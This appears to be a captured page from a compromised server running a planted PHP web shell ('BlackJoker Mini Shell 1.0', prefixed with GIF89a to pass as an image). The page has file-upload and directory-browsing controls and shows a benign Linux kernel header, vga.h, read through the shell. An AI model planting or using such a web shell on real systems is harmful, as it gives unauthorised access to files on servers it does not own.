GIF89a; Mini Shell

Mini Shell

Direktori : /lib/modules/3.10.0-1160.80.1.el7.centos.plus.x86_64/build/include/asm-generic/
Upload File :
Current File : //lib/modules/3.10.0-1160.80.1.el7.centos.plus.x86_64/build/include/asm-generic/vga.h

/*
 *	Access to VGA videoram
 *
 *	(c) 1998 Martin Mares <mj@ucw.cz>
 */
#ifndef __ASM_GENERIC_VGA_H
#define __ASM_GENERIC_VGA_H

/*
 *	On most architectures that support VGA, we can just
 *	recalculate addresses and then access the videoram
 *	directly without any black magic.
 *
 *	Everyone else needs to ioremap the address and use
 *	proper I/O accesses.
 */
#ifndef VGA_MAP_MEM
#define VGA_MAP_MEM(x, s) (unsigned long)phys_to_virt(x)
#endif

#define vga_readb(x) (*(x))
#define vga_writeb(x, y) (*(y) = (x))

#endif /* _ASM_GENERIC_VGA_H */

./BlackJoker Mini Shell 1.0